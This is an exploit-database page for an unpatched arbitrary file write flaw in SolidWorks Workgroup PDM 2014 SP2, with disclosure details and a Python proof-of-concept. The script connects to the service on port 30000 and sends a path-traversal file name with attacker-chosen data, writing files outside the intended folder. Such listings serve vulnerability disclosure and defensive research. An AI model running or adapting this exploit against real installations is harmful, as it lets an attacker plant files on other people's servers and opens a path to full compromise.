header-logo
Suggest Exploit
vendor:
Workgroup PDM
by:
Mohamed Shetta
7,5
CVSS
HIGH
Arbitrary File Write
264
CWE
Product Name: Workgroup PDM
Affected Version From: 2014 SP2
Affected Version To: 2014 SP2
Patch Exists: NO
Related CWE: N/A
CPE: a:solidworks:workgroup_pdm:2014_sp2
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows 7
2014

SolidWorks Workgroup PDM 2014 SP2 Arbitrary File Write Vulnerability

This vulnerability allows remote attackers to write arbitrary file on vulnerable installations of SolidWorks Workgroup PDM.

Mitigation:

N/A
Source

Exploit-DB raw data:

'''
# Title: SolidWorks Workgroup PDM 2014 SP2 Arbitrary File Write Vulnerability
# Date: 2-21-2014
# Author: Mohamed Shetta
Email: mshetta |at| live |dot| com
# Vendor Homepage: http://www.solidworks.com/sw/products/product-data-management/workgroup-pdm.htm
# Tested on: Windows 7
#Vulnerability type: Arbitrary File Write
#Vulnerable file: pdmwService.exe
#PORT: 30000


---------------------------------------------------------------------------------------------------------
Software Description:

SolidWorks
Workgroup PDM is a PDM tool that allows SolidWorks users operating in 
teams of 10 members or less to work on designs concurrently. With 
SolidWorks PDM Workgroup, designers can search, revise, and vault CAD 
data while maintaining an accurate design history.


---------------------------------------------------------------------------------------------------------
Vulnerability Details:

This vulnerability allows remote attackers to write arbitrary file on vulnerable installations of SolidWorks Workgroup PDM.

------------------------------------------------------------------------------------------------------------
Disclosure timeline:

12/15/2013 - Vendor notified and no response.
2/21/2014 - Public disclosure
'''

#!/usr/bin/env python
  
import socket
import struct
import ctypes

FileName="\x2E\x00\x2E\x00\x5C\x00\x2E\x00\x2E\x00\x5C\x00\x74\x00\x65\x00\x73\x00\x74\x00" #..\..\test
Data="A"*1028
FileSize=len(Data)
FNsz=len(FileName)
OpCode="\xD0\x07\x00\x00"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.0.4", 30000))
s.send(OpCode)
s.send(struct.pack("I", FNsz))
s.send(FileName)
s.send(struct.pack('<Q', FileSize))
s.send(Data)